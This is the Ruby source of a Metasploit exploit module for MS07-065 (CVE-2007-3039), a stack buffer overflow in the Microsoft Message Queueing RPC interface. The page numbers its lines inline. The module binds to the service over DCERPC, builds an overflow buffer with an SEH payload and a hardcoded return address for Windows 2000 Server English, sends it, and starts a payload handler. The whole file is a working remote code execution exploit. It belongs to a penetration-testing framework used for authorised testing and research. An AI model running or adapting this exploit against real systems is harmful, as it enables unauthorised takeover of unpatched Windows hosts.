Path: blob/master/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
29026 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the RPC interface18to the Microsoft Message Queueing service. This exploit requires19the target system to have been configured with a DNS name and20for that name to be supplied in the 'DNAME' option. This name does21not need to be served by a valid DNS server, only configured on22the target machine.23},24'Author' => [ 'hdm' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2007-3039'],28[ 'OSVDB', '39123'],29[ 'MSB', 'MS07-065'],30],31'Privileged' => true,32'Payload' => {33'Space' => 1024,34'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",35'StackAdjustment' => -35003637},38'Targets' => [39[40'Windows 2000 Server English',41{42'Platform' => 'win',43'Ret' => 0x75022ac4 # ws2help - pop/pop/ret44},45],46],47'DisclosureDate' => '2007-12-11',48'DefaultTarget' => 0,49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657# Change the default port values to point at MSMQ58register_options(59[60Opt::RPORT(2103),61OptString.new('DNAME', [ true, 'The DNS hostname of the target' ]),62]63)64end6566def autofilter67# Common vulnerability scanning tools report port 445/13968# due to how they test for the vulnerability. Remap this69# back to 2103 for automated exploitation7071rport = datastore['RPORT'].to_i72if (rport == 445 or rport == 139)73datastore['RPORT'] = 210374end7576# The fqdn is required to exploit this bug77if (!(datastore['DNAME']))78# XXX automatically determine the hostname79return false80end8182true83end8485def exploit86connect87print_status("Trying target #{target.name}...")8889handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])90print_status("Binding to #{handle} ...")91dcerpc_bind(handle)92print_status("Bound to #{handle} ...")9394dname = datastore['DNAME']9596boom = rand_text_alphanumeric(4096)9798hname, domain = dname.split('.')99100if (!domain)101print_status('The DNAME parameter specified is not valid.')102print_status('This option must be the fully-qualified domain name of the target (as it has been configured).')103return104end105106off = 310 - (hname.length * 2)107108seh = generate_seh_payload(target.ret)109boom[off, seh.length] = seh110111buff = Rex::Text.to_unicode("#{dname}\\")112buff << boom113buff << "\x00\x00"114115# Data alignment116buff << "\x00" while (buff.length % 4 != 0)117118stubdata =119NDR.long(1) + # [in] long arg_1,120NDR.UnicodeConformantVaryingStringPreBuilt(buff) + # [in][string] wchar_t * arg_2,121NDR.long(0) * 5 # ... fields we can ignore122123print_status('Sending exploit...')124125begin126dcerpc.call(6, stubdata)127128if (!dcerpc.last_response.nil? and !dcerpc.last_response.stub_data.nil?)129case dcerpc.last_response.stub_data130when "\x14\x00\x0e\xc0"131print_error('Error: The wrong value has been supplied for the DNAME parameter')132print_error('This value must be the fully-qualified domain name of the target')133print_error('Many systems have no FQDN configured and cannot be exploited')134else135print_status('An unknown response was received from the server:')136print_status('>> ' + dcerpc.last_response.stub_data.unpack('H*')[0])137end138end139rescue Rex::Proto::DCERPC::Exceptions::NoResponse140print_status('No response from the DCERPC service (this is usually a good thing).')141end142143handler144disconnect145end146end147148149